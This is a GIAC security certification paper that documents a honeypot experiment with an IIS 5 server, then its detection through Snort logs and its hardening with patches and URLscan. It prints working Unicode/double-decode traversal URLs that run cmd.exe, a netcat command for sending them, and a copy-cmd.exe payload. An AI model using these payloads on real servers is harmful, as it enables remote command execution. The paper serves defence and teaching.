Global Information Assurance Certification Paper

An Exploration Into Internet Information Server 5 And Unicode / Double Decode Exploits

Dean Ferraro
GSEC Practical Requirement V1.4

Abstract:

The research covered within the following pages documents the compromise of a Microsoft Windows 2000 Server running Internet Information Server 5. We will discover how easy such an exploit can be, how numerous the attempts at exploitation are and what steps can be taken to help prevent the success of these attacks. We will work with three separate systems in preparation for our experiment. The first machine is running Red Hat Linux 7.3 which is used for Nessus[1], a vulnerability scanner. Nessus is used to seek flaws in the available services of the target machine. Nessus also lists recommendations on how to fix those flaws. The second machine is a Microsoft Windows 2000 machine that is running Snort[2]. Snort is an intrusion detection system (IDS) that will help log and document an attack on the victim system. The third machine is the victim. A partially hardened Windows 2000 server running IIS 5. The victim will be placed onto the internet for a 24 hour time period. When the 24 hour period has expired, A review and analysis of the log files will be performed. After the review period there will be a phase of cleaning, patching and re-inserting the machine back out to the internet to be scrutinized further.

Why?

I came to the decision to write about this particular type of exploit primarily for three reasons.

- The first reason is the shear volume of attacks that get recorded across my DMZ.
- The second reason is the number of current discussion threads on various security / hacker web sites[3] that reference these attacks.

The above two reasons are significant in that they tell me the exploit is available to a wide range of people, namely script kiddies, and more importantly that numerous systems are still vulnerable. We must remember that this particular exploit was first discovered early to mid 2001.

- The third and final reason is the learning experience. Working through this type of project is truly real world experience.

Preparation:

Both Nessus and Snort have fairly straight forward installation procedures along with decent documentation. Any installation problems can normally be corrected by using the vast resources of the internet. A search at http://www.google.com/ using a description of your problem as the search criteria will more often than not find plenty of helpful resources.

The honeypot or what we will call our victim system needs to be configured to meet the specific needs of this project. Since our desire is to focus on the http protocol through port 80, we need to partially harden the system.

The victim system is setup as a base install of Windows 2000 server with Internet Information Server (IIS5) installed. Security patches are selectively installed. The potential of being vulnerable to CodeRed, Sadmind and a host of other goodies with the approach we are taking is a probability.

A very nice reference to hardening Windows 2000 was written by Philip Cox of System Experts[4] and is freely available for download from the Systems Experts web site. This document was followed in part for hardening our victim server.

Nessus is a powerful client/server software package used to scan systems for known vulnerabilities. It uses a plug-in style architecture that allows for an easy upgrade path to test for the latest vulnerabilities as they become available. Graphical interfaces exist for both *nix and Win32 platforms to connect to the Nessus server. The machine that is running the Nessus server is the actual machine that does the vulnerability scanning of the target computer. The Nessus server will maintain a database of reports for all machines scanned that can be retrieved whenever needed.

Nessus is used to scan the victim server after its initial operating system install. Of course we have a number of services with open ports that need to be closed such as SMTP (port 25), FTP (ports 20 and 21) and simple TCP/IP services. Simple TCP/IP services are services that include Echo (port 7), Discard (port 8), Character generator (port 19), Daytime (port 13) and Quote of the day (

port 17). A glossary of Windows 2000 services is available for download from Microsoft's web site[5].

All network bindings are removed from our network adapter except for TCP/IP. Netbios and Workstation services are disabled. Hidden shares C$ and ADMIN$ are removed. The administrator account is renamed and assigned a strong password.

No directory or file permissions will be modified and we're going to leave all of the installed utilities such as tftp.exe and ftp.exe, which I would normally remove from a web server such as this.

It's also necessary to create a security policy to allow for event logging. The security policy will have auditing turned on for logon events, account management, system events and policy changes. The account lockout threshold set to 5 and the account lockout duration set to 45. Anonymous logon is set to "No access without explicit permission".

A final scan of the victim server with Nessus tells me that the only obvious gaping hole is through port 80, just what I was looking for.

This installation of the Snort IDS also includes a graphical interface called IDScenter[6]. IDSCenter is an easy to use interface that allows for the simple management of the Snort configuration on a Win32 platform.

Snort is extremely powerful and really shines when configured for packet logging.

The snort configuration is set to rotate log files at midnight. The directory structure of this setup is that each month of the year is assigned it's own folder. Under each monthly folder are daily log files that are in a compressed (zip) format. Each compressed log file contains an alert.ids file which is a summary of all attacks that had been logged for that given period. Every attacking IP address that has been logged within alert.ids will also have it's own directory in the zip file. The directory will contain the actual data packets that were captured during the attack.

I have found the most difficult part of configuring Snort is fine tuning the rule sets being used. It becomes a case of being able to manage the amount of alerts and false alarms without breaking the integrity of the IDS. As I become increasingly familiar with what are normal traffic patterns and more experience is gained with rule set definitions, the proper configuration becomes more of a reality. The worst scenario that I see happening is that an individual or corporation becomes frustrated with the number of false alarms, that in return the IDS is ignored altogether. I can't stress enough how important it is to put in the effort necessary for your IDS to be effective.

Out to The DMZ:

With the IDS and victim machine installed we immediately start receiving probes. Reviewing the portscan.log file generated by Snort we find the following information.

**For security purposes the address information of all machines has been changed*.

Jul 18 12:15:21 192.168.1.100:54394 -> 192.168.2.128:80 SYN ******S*
Jul 18 12:15:21 192.168.1.100:54397 -> 192.168.2.131:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54395 -> 192.168.2.129:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54396 -> 192.168.2.130:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54403 -> 192.168.2.137:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54413 -> 192.168.2.147:80 SYN ******S*
Jul 18 12:15:21 192.168.1.100:54400 -> 192.168.2.134:80 SYN ******S*
Jul 18 12:15:21 192.168.1.100:54399 -> 192.168.2.133:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54404 -> 192.168.2.138:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54406 -> 192.168.2.140:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54412 -> 192.168.2.146:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54401 -> 192.168.2.135:80 SYN ******S*
Jul 18 12:15:21 192.168.1.100:54405 -> 192.168.2.139:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54402 -> 192.168.2.136:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54407 -> 192.168.2.141:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54424 -> 192.168.2.158:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54425 -> 192.168.2.159:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54427 -> 192.168.2.161:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54426 -> 192.168.2.160:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54422 -> 192.168.2.156:80 SYN ******S*
Jul 18 12:15:18 192.168.1.100:54423 -> 192.168.2.157:80 SYN ******S*
Jul 18 12:15:21 192.168.1.100:54398 -> 192.168.2.132:80 SYN ******S*
Jul 18 12:15:21 192.168.1.100:54438 -> 192.168.2.172:80 SYN ******S*
Jul 18 12:15:21 192.168.1.100:54440 -> 192.168.2.174:80 SYN ******S*
Jul 18 12:15:21 192.168.1.100:54443 -> 192.168.2.177:80 SYN ******S*
Jul 18 12:15:21 192.168.1.100:54446 -> 192.168.2.180:80 SYN ******S*
Jul 18 12:15:21 192.168.1.100:54433 -> 192.168.2.167:80 SYN ******S*
Jul 18 12:15:21 192.168.1.100:54434 -> 192.168.2.168:80 SYN ******S*
**partial listing*

We can see that Snort picked up an outside machine 192.168.1.100 scanning the DMZ for web servers. The entire 192.168.1 subnet has been scanned to see if port 80 is available.

When the web servers are identified the attacker may launch an automated attack that contains hundreds of HTTP requests against a particular machine or a number of machines.

The overwhelming majority of web server based attacks that I have seen specifically target IIS running on Windows NT or Windows 2000.

What do these attacks look like?

Below are a few attack strings that you would find within your IDS or web server log files:

/script/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/script/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/script/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/script/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35%63../..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35c../..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:

If you see these listed in your web server log files with a 200 listed as the status code, that means the attack was successful and you've got some work to do.

192.168.1.100, -, 8/7/02, 9:51:46, W3SVC1, WEB1, 192.168.2.150, 0, 349, 623, **200**, 123, GET, /script/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\

Lets break down the above successful double decode attack further:

http://www.victim.com/scripts/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

Here is a partial hex table generated from http://www.asciichart.com/ .

5	ENQ	15	NAK	25	%	35	5	45	E	55	U	65	e	75	u
6	ACK	16	SYN	26	&	36	6	46	F	56	V	66	f	76	v
7	BEL	17	ETB	27	'	37	7	47	G	57	W	67	g	77	w

8	BS	18	CAN	28	(	38	8	48	H	58	X	68	h	78	x
9	HT	19	EM	29	)	39	9	49	I	59	Y	69	i	79	y
A	LF	1A	SUB	2A	*	3A	:	4A	J	5A	Z	6A	j	7A	z
B	VT	1B	ESC	2B	+	3B	;	4B	K	5B	[	6B	k	7B	{
C	FF	1C	FS	2C	,	3C	<	4C	L	5C	\	6C	l	7C	|

From the above table we can see that the hex value 25 is the equivalent to the ASCII character "%", And the hex value 5c is the equivalent to the ASCII character "\".

IIS will interpret the above URL as:

http://www.victim.com/scripts/..\..\..\winnt/system32/cmd.exe?/c+dir+c:\

This allows the attacker to back out of the web root directory and gain access to the command interpreter.

Another way to send requests to the victim server is by using Netcat[7]. Netcat is a very powerful network communication tool that is available for Win32 and *nix platforms. I have found Netcat to be handy for automating integrity checks against my own web servers.

An example would be to create a text file with the above URL as the file contents.

Our example file called test.txt file would contain the following:

GET /scripts/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

To execute this code we would type from the command line:

nc –v 192.168.2.100 80 < test.txt

This executes Netcat in verbose mode "-v", to our target machine "192.168.2.100" at port "80". The commands to be executed are redirected from the contents of file "test.txt". Using this type of command within a batch file or shell script allows for even greater flexibility.

If the system was vulnerable to this exploit a directory listing of the root directory from the target machine's C-drive would be displayed on your screen.

Unicode and Double Decode attacks are of the same breed of attack. The main difference is the URL encoding that is used.

An excellent listing available via the internet for Hex representation of Characters can be found at http://www.asciicharts.com.

The ultimate resource for all of your Unicode needs can be found at http://www.unicode.org/

These forms of attacks are well documented at many internet security related web sites, One of my favorites is Packet Storm security[8].

A more in-depth log file review:

The alert.ids file created by snort shows these attempts from one of the attackers. Towards the bottom you will see that the victim machine gave back a directory listing to the attacker. Now the attacker knows the machine is susceptible to further compromise.

I mentioned one of our attackers above because the victim machine was actually compromised by three separate attackers in approximately a 24 hour period.

```
**] [1:1002:5] WEB-IIS cmd.exe access [**]
[Classification: Web Application Attack] [Priority: 1]
07/19-03:26:55.566709 0:X:XX:XX:XX:01 -> X:X:XX:XX:XX:00 type:0x800 len:0x97
192.168.1.100:2002 -> 192.168.2.150:80 TCP TTL:107 TOS:0x0 ID:8920 IpLen:20 DgmLen:137 DF
***AP*** Seq: 0xB6E8BF2  Ack: 0x74990765  Win: 0x4470  TcpLen: 20

[**] [1:1002:5] WEB-IIS cmd.exe access [**]
[Classification: Web Application Attack] [Priority: 1]
07/19-03:26:55.566905 X:X:XX:XX:XX:01 -> X:X:XX:XX:XX:00 type:0x800 len:0x97
192.168.1.100:2002 -> 192.168.2.150:80 TCP TTL:106 TOS:0x0 ID:8920 IpLen:20 DgmLen:137 DF
***AP*** Seq: 0xB6E8BF2  Ack: 0x74990765  Win: 0x4470  TcpLen: 20

[**] [1:1002:5] WEB-IIS cmd.exe access [**]
[Classification: Web Application Attack] [Priority: 1]
07/19-03:26:55.750489 X:X:XX:XX:XX:01 -> X:X:XX:XX:XX:00 type:0x800 len:0x97
192.168.1.100:2016 -> 192.168.2.150:80 TCP TTL:107 TOS:0x0 ID:8958 IpLen:20 DgmLen:137 DF
***AP*** Seq: 0xB78AD6F  Ack: 0x7499081D  Win: 0x4470  TcpLen: 20

[**] [1:1002:5] WEB-IIS cmd.exe access [**]
[Classification: Web Application Attack] [Priority: 1]
07/19-03:26:55.750686 X:X:XX:XX:XX:01 -> X:X:XX:XX:XX:00 type:0x800 len:0x97
192.168.1.100:2016 -> 192.168.2.150:80 TCP TTL:106 TOS:0x0 ID:8958 IpLen:20 DgmLen:137 DF
***AP*** Seq: 0xB78AD6F  Ack: 0x7499081D  Win: 0x4470  TcpLen: 20

[**] [1:1002:5] WEB-IIS cmd.exe access [**]
[Classification: Web Application Attack] [Priority: 1]
07/19-03:26:56.036501 X:X:XX:XX:XX:01 -> X:X:XX:XX:XX:00 type:0x800 len:0x97
192.168.1.100:2033 -> 192.168.2.150:80 TCP TTL:107 TOS:0x0 ID:8985 IpLen:20 DgmLen:137 DF
***AP*** Seq: 0xB84D163  Ack: 0x74990922  Win: 0x4470  TcpLen: 20

[**] [1:1002:5] WEB-IIS cmd.exe access [**]
[Classification: Web Application Attack] [Priority: 1]
```

```
07/19-03:26:56.036693 X:X:XX:XX:XX:01 -> X:X:XX:XX:XX:00 type:0x800 len:0x97
192.168.1.100:2033 -> 192.168.2.150:80 TCP TTL:106 TOS:0x0 ID:8985 IpLen:20 DgmLen:137 DF
***AP*** Seq: 0xB84D163  Ack: 0x74990922  Win: 0x4470  TcpLen: 20

[**] [1:1292:4] ATTACK RESPONSES http dir listing [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
07/19-03:26:56.048110 X:X:XX:XX:XX:00 -> X:X:XX:XX:XX:01 type:0x800 len:0xF5
192.168.2.150:80 -> 192.168.1.100:2033 TCP TTL:128 TOS:0x0 ID:47389 IpLen:20 DgmLen:231 DF
***AP*** Seq: 0x74990922  Ack: 0xB84D1C4  Win: 0x21D7  TcpLen: 20

[**] [1:1002:5] WEB-IIS cmd.exe access [**]
[Classification: Web Application Attack] [Priority: 1]
07/19-03:26:56.246121 X:X:XX:XX:XX:01 -> X:X:XX:XX:XX:00 type:0x800 len:0xCF
192.168.1.100:2048 -> 192.168.2.150:80 TCP TTL:107 TOS:0x0 ID:9034 IpLen:20 DgmLen:193 DF
***AP*** Seq: 0xB90D1DA  Ack: 0x74990A04  Win: 0x4470  TcpLen: 20
```

I added the attack below to show how vulnerable CodeRed and Sadmind had made many web servers after infection. One of the characteristics of these two worms was to copy cmd.exe as root.exe to the scripts and MSADC directories of susceptible machines making them that much easier for compromise. Here snort recognizes the attempt to execute root.exe and logs the attack.

```
[**] [1:1256:6] WEB-IIS CodeRed v2 root.exe access [**]
[Classification: Web Application Attack] [Priority: 1]
07/19-04:26:50.384223 X:X:XX:XX:XX:XX -> X:X:XX:XX:XX:01 type:0x800 len:0x7E
192.168.1.101:2591 -> 192.168.2.150:80 TCP TTL:107 TOS:0x0 ID:35189 IpLen:20 DgmLen:112 DF
***AP*** Seq: 0x8DACB2B  Ack: 0xA9E1931  Win: 0x4470  TcpLen: 20
```

Now a look at the packet logging done by Snort:

**Some information has been changed to "X"' to security concerns*

```
[**] WEB-IIS cmd.exe access [**]
07/19-03:26:56.036501 X:X:XX:XX:XX:00 -> X:X:XX:XX:XX:01 type:0x800 len:0x97
192.168.1.100:2033 -> 192.168.2.150:80 TCP TTL:107 TOS:0x0 ID:8985 IpLen:20
DgmLen:137 DF
***AP*** Seq: 0xB84D163  Ack: 0x74990922  Win: 0x4470  TcpLen: 20
0x0000: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  ........'.....E.
0x0010: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  ..#.@.k..O......
0x0020: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  .....P...ct.."P.
0x0030: 44 70 31 85 00 00 47 45 54 20 2F 73 63 72 69 70  Dp1...GET /scrip
0x0040: 74 73 2F 2E 2E 25 63 2E 2E 2F 77 69 6E 6E 74 2F  ts/..%c../winnt/
0x0050: 73 79 73 74 65 6D 33 32 2F 63 6D 64 2E 65 78 65  system32/cmd.exe
0x0060: 3F 2F 63 2B 64 69 72 20 64 69 72 20 48 54 54 50  ?/c+dir dir HTTP
0x0070: 2F 31 2E 30 0D 0A 48 6F 73 74 3A 20 77 77 77 0D  /1.0..Host: www.
0x0080: 0A 43 6F 6E 6E 6E 65 63 74 69 6F 6E 3A 20 63 6C  .Connnection: cl
0x0090: 6F 73 65 0D 0A 0D 0A                             ose....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] WEB-IIS cmd.exe access [**]
07/19-03:26:56.036693 X:X:XX:XX:XX:00 -> X:X:XX:XX:XX:01 type:0x800 len:0x97
```

```
192.168.1.100:2033 -> 192.168.2.150:80 TCP TTL:106 TOS:0x0 ID:8985 IpLen:20
DgmLen:137 DF
***AP*** Seq: 0xB84D163  Ack: 0x74990922  Win: 0x4470  TcpLen: 20
0x0000: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  ...F.........E.
0x0010: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  ..#.@.j..M......
0x0020: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  .....P...ct.."P.
0x0030: 44 70 31 83 00 00 47 45 54 20 2F 73 63 72 69 70  Dp1...GET /scrip
0x0040: 74 73 2F 2E 2E 25 63 2E 2E 2F 77 69 6E 6E 74 2F  ts/..%c../winnt/
0x0050: 73 79 73 74 65 6D 33 32 2F 63 6D 64 2E 65 78 65  system32/cmd.exe
0x0060: 3F 2F 63 2B 64 69 72 20 64 69 72 20 48 54 54 50  ?/c+dir dir HTTP
0x0070: 2F 31 2E 30 0D 0A 48 6F 73 74 3A 20 77 77 77 0D  /1.0..Host: www.
0x0080: 0A 43 6F 6E 6E 6E 65 63 74 69 6F 6E 3A 20 63 6C  .Connnection: cl
0x0090: 6F 73 65 0D 0A 0D 0A                             ose....


=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] ATTACK RESPONSES http dir listing [**]
07/19-03:26:56.048110 X:X:XX:XX:XX:01 -> X:X:XX:XX:XX:00 type:0x800 len:0xF5
192.168.2.150:80 -> 192.168.1.100:2033 TCP TTL:128 TOS:0x0 ID:47389 IpLen:20
DgmLen:231 DF
***AP*** Seq: 0x74990922  Ack: 0xB84D1C4  Win: 0x21D7  TcpLen: 20
0x0000: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  .........F....E.
0x0010: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  ....@...).......
0x0020: XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX  ...P..t..".....P.
0x0030: 21 D7 E1 01 00 00 48 54 54 50 2F 31 2E 31 20 32  !.....HTTP/1.1 2
0x0040: 30 30 20 4F 4B 0D 0A 53 65 72 76 65 72 3A 20 4D  00 OK..Server: M
0x0050: 69 63 72 6F 73 6F 66 74 2D 49 49 53 2F 34 2E 30  icrosoft-IIS/4.0
0x0060: 0D 0A 44 61 74 65 3A 20 46 72 69 2C 20 31 39 20  ..Date: Fri, 19
0x0070: 4A 75 6C 20 32 30 30 32 20 30 39 3A 34 33 3A 35  Jul 2002 09:43:5
0x0080: 36 20 47 4D 54 0D 0A 43 6F 6E 74 65 6E 74 2D 54  6 GMT..Content-T
0x0090: 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E  ype: application
0x00A0: 2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 0D 0A 56  /octet-stream..V
0x00B0: 6F 6C 75 6D 65 20 69 6E 20 64 72 69 76 65 20 43  olume in drive C
0x00C0: 20 68 61 73 20 6E 6F 20 6C 61 62 65 6C 2E 0D 0A   has no label...
0x00D0: 56 6F 6C 75 6D 65 20 53 65 72 69 61 6C 20 4E 75  Volume Serial Nu
0x00E0: 6D 62 65 72 XX XX XX XX XX XX XX XX XX XX XX XX  mber is 0000-000
0x00F0: XX 0D 0A 0D 0A                                   0....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Further scrutiny of the victim server the next morning showed cmd.exe being copied to the scripts directory as cmd1.exe.

Executing the copy command from the browser would look similar to this:

http://192.168.2.150/scripts/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c +copy+c:\winnt\system32\cmd.exe%20c:\inetpub\scripts\cmd1.exe

The reason for renaming the command interpreter is normally to have access to command output redirection with the “>” character. Cmd.exe through double decode/Unicode will not process redirection requests. Another advantage to placing cmd1.exe in the scripts directory is that it allows you to execute commands on the victim server now with a shorter command string

http://192.168.2.150/scripts/cmd1.exe?/c+dir+c:\

If this was a production server we would be considered lucky. Though for this project I would of liked the attacker to progress further. I was expecting to find references in the Snort log files, or on the victim server of attempts at TFTP being used to transfer files such as iiscrack, netcat or some form of a remote control tool.

Iiscrack.dll is interesting in that it is usually copied to the target machine as httpodbc.dll and into the scripts or root directory and executed through the attackers browser to escalate privileges and gain more control over the victim machine.

The victim server was clearly prepared for further compromise, but not before it was removed from the DMZ.

Cleaning and Patching the server:

Since I'm not dealing with a critical production system, and the victim server will most likely see only a few more weeks of use until it's rebuilt for it's next tour of duty. I decided to just clean up all obvious references to the attack instead of a complete rebuild.

After the system cleanup our patching will be done by running Windows Update through Internet Explorer 6 instead of running Microsoft's security toolkit that I have on CD. This decision was made because service pack 3 is now available and the latest service pack on my Microsoft Security Toolkit CD is service pack 2. Hopefully the use of service pack 3 leads to less server rebooting

After service pack 3 and all critical updates are installed, It's time to download Microsoft's Hot Fix checker Hfnetchk.exe. Hfnetchk.exe is a tool that is ran from the command line to compare your servers patch level to a database of current patches. Hfnetchk.exe as expected tells us that server has the latest available security patches.

The last tool that we download is the IIS lockdown wizard from Microsoft. IIS lockdown is a tool that helps harden Microsoft's web services by turning off features that are unnecessary for that particular installation. IIS lockdown also includes a tool called URLscan.

URLscan Installed as part of the IIS lockdown procedure will activate a predefined filter that will filter URL requests based upon the IIS feature set that you had the lockdown wizard turn off. The option does exist to install URLscan separately, but don't forget to modify urlscan.ini to define your filter set.

The combination of using the IIS lockdown wizard, installing URLscan and setting the proper access control rules to your NTFS directories greatly increases your web servers security.

How is the hardened server performing?

Here is a sample of what the URLscan log files look like. By looking through the output not only do you see URLscan working by rejecting requests, but you can also see the rule set defined for URLscan on this particular web server.

```
[08-08-2002 - 08:47:00] ---------- Initializing UrlScan.log ----------
[08-08-2002 - 08:47:00] -- Filter initialization time: [08-07-2002 - 15:31:20]  --
[08-08-2002 - 08:47:00] Client at 192.168.1.100: URL contains extension '.ida', which is
disallowed. Request will be rejected.  Site Instance='1', Raw URL='/default.ida'
[08-08-2002 - 16:22:50] ---------- Initializing UrlScan.log ----------
[08-08-2002 - 16:22:50] -- Filter initialization time: [08-08-2002 - 16:22:50]  --
[08-08-2002 - 16:22:50] ---------- UrlScan.dll Initializing ----------
[08-08-2002 - 16:22:50] UrlScan will return the following URL for rejected requests: "/<Rejected-
By-UrlScan>"
[08-08-2002 - 16:22:50] URLs will be normalized before analysis.
[08-08-2002 - 16:22:50] URL normalization will be verified.
[08-08-2002 - 16:22:50] URLs must contain only ANSI characters.
[08-08-2002 - 16:22:50] URLs must not contain any dot except for the file extension.
[08-08-2002 - 16:22:50] Requests with Content-Length exceeding 2000000000 will be rejected.
[08-08-2002 - 16:22:50] Requests with URL length exceeding 16384 will be rejected.
[08-08-2002 - 16:22:50] Requests with Query String length exceeding 4096 will be rejected.
[08-08-2002 - 16:22:50] Only the following verbs will be allowed (case sensitive):
[08-08-2002 - 16:22:50] 'GET'
[08-08-2002 - 16:22:50] 'HEAD'
[08-08-2002 - 16:22:50] 'POST'
[08-08-2002 - 16:22:50] Requests for following extensions will be rejected:
[08-08-2002 - 16:22:50] '.exe'
[08-08-2002 - 16:22:50] '.bat'
[08-08-2002 - 16:22:50] '.cmd'
[08-08-2002 - 16:22:50] '.com'
[08-08-2002 - 16:22:50] '.htw'
[08-08-2002 - 16:22:50] '.ida'
[08-08-2002 - 16:22:50] '.idq'
[08-08-2002 - 16:22:50] '.htr'
[08-08-2002 - 16:22:50] '.shtm'
[08-08-2002 - 16:22:50] '.shtml'
[08-08-2002 - 16:22:50] '.stm'
[08-08-2002 - 16:22:50] '.printer'
[08-08-2002 - 16:22:50] '.ini'
[08-08-2002 - 16:22:50] '.log'
[08-08-2002 - 16:22:50] '.pol'
```

[08-08-2002 - 16:22:50] '.dat'
[08-08-2002 - 16:22:50] Requests containing the following headers will be rejected:
[08-08-2002 - 16:22:50] 'translate:'
[08-08-2002 - 16:22:50] 'if:'
[08-08-2002 - 16:22:50] 'lock-token:'
[08-08-2002 - 16:22:50] Requests containing the following character sequences will be rejected:
[08-08-2002 - 16:22:50] '..'
[08-08-2002 - 16:22:50] './'
[08-08-2002 - 16:22:50] '\'
[08-08-2002 - 16:22:50] ':'

[08-08-2002 - 16:22:50] '%'
[08-08-2002 - 16:22:50] '&'
[08-08-2002 - 17:33:33] Client at 192.168.1.100: URL contains extension '.exe', which is disallowed. Request will be rejected. Site Instance='1', Raw URL='/scripts/root.exe'
[08-08-2002 - 17:33:34] Client at 192.168.1.100: URL contains extension '.exe', which is disallowed. Request will be rejected. Site Instance='1', Raw URL='/MSADC/root.exe'
[08-08-2002 - 17:33:35] Client at 192.168.1.100: URL contains extension '.exe', which is disallowed. Request will be rejected. Site Instance='1', Raw URL='/c/winnt/system32/cmd.exe'
[08-08-2002 - 17:33:35] Client at 192.168.1.100: URL contains extension '.exe', which is disallowed. Request will be rejected. Site Instance='1', Raw URL='/d/winnt/system32/cmd.exe'
[08-08-2002 - 17:33:36] Client at 192.168.1.100: URL normalization was not complete after one pass. Request will be rejected. Site Instance='1', Raw URL='/scripts/..%255c../winnt/system32/cmd.exe'
[08-08-2002 - 17:33:37] Client at 192.168.1.100: URL normalization was not complete after one pass. Request will be rejected. Site Instance='1', Raw URL='/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe'
[08-08-2002 - 17:33:37] Client at 192.168.1.100: URL normalization was not complete after one pass. Request will be rejected. Site Instance='1', Raw URL='/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe'
[08-08-2002 - 17:33:38] Client at 192.168.1.100: URL normalization was not complete after one pass. Request will be rejected. Site Instance='1', Raw URL='/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe'

You can see that URLscan does its analysis before execution by the web server is allowed. Below are actual attacks being rejected by URLscan. No doubt in my mind that before hardening was preformed and URLscan installed, a good portion of these attacks would have been successful.

Here is a sample of what your web server log files will contain with URLscan analyzing the requests:

192.168.1.100, -, 8/7/02, 9:51:46, W3SVC1, WEB1, 192.168.2.150, 0, 349, 623, 404, 123, GET, /<Rejected-By-UrlScan>, ~/_vti_bin/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe,
192.168.1.100, -, 8/7/02, 9:51:46, W3SVC1, WEB1, 192.168.2.150, 0, 349, 623, 404, 123, GET, /<Rejected-By-UrlScan>, ~/_vti_bin/..%c1%pc..%c1%pc..%c1%pc..%c1%pc..%c1%pc../winnt/system32/cmd.exe,
192.168.1.100, -, 8/7/02, 9:51:46, W3SVC1, WEB1, 192.168.2.150, 0, 349, 623, 404, 123, GET, /<Rejected-By-UrlScan>, ~/_vti_bin/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe,
192.168.1.100, -, 8/7/02, 9:51:46, W3SVC1, WEB1, 192.168.2.150, 0, 349, 623, 404, 123, GET, /<Rejected-By-UrlScan>,

192.168.1.100, -, 8/7/02, 9:51:48, W3SVC1, WEB1, 192.168.2.150, 0, 361, 623, 404, 123, GET, /<Rejected-By-UrlScan>, ~/cgi-bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63/winnt/system32/cmd.exe,
192.168.1.100, -, 8/7/02, 9:51:48, W3SVC1, WEB1, 192.168.2.150, 0, 340, 623, 404, 123, GET, /<Rejected-By-UrlScan>, ~/..%c0%2f..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe,
192.168.1.100, -, 8/7/02, 9:51:48, W3SVC1, WEB1, 192.168.2.150, 0, 341, 623, 404, 123, GET, /<Rejected-By-UrlScan>, ~/cgi-bin//.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe,
192.168.1.100, -, 8/7/02, 9:51:48, W3SVC1, WEB1, 192.168.2.150, 0, 333, 623, 404, 123, GET, /<Rejected-By-UrlScan>, ~/..%255c..%255c..%255c..%255c..%255c/winnt/system32/cmd.exe,
192.168.1.100, -, 8/7/02, 9:51:48, W3SVC1, WEB1, 192.168.2.150, 15, 333, 623, 404, 123, GET, /<Rejected-By-UrlScan>, ~/..%%35c..%%35c..%%35c..%%35c..%%35c/winnt/system32/cmd.exe,
192.168.1.100, -, 8/7/02, 9:51:48, W3SVC1, WEB1, 192.168.2.150, 0, 343, 623, 404, 123, GET, /<Rejected-By-UrlScan>, ~/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63/winnt/system32/cmd.exe,
192.168.1.100, -, 8/7/02, 9:51:48, W3SVC1, WEB1, 192.168.2.150, 0, 355, 623, 404, 123, GET, /<Rejected-By-UrlScan>,

Our cleaned up, fully patched and hardened server is no longer a victim. It has withstood numerous attacks over a three week period and preformed perfectly.

Conclusion:

1. Aside from the relatively minor incursion into our server, I had felt that overall this exercise was successful. A Windows 2000 server running IIS5 in an unhardened state is a recipe for disaster. 24 hours out on the internet is more than enough time for these machines to be fully compromised.

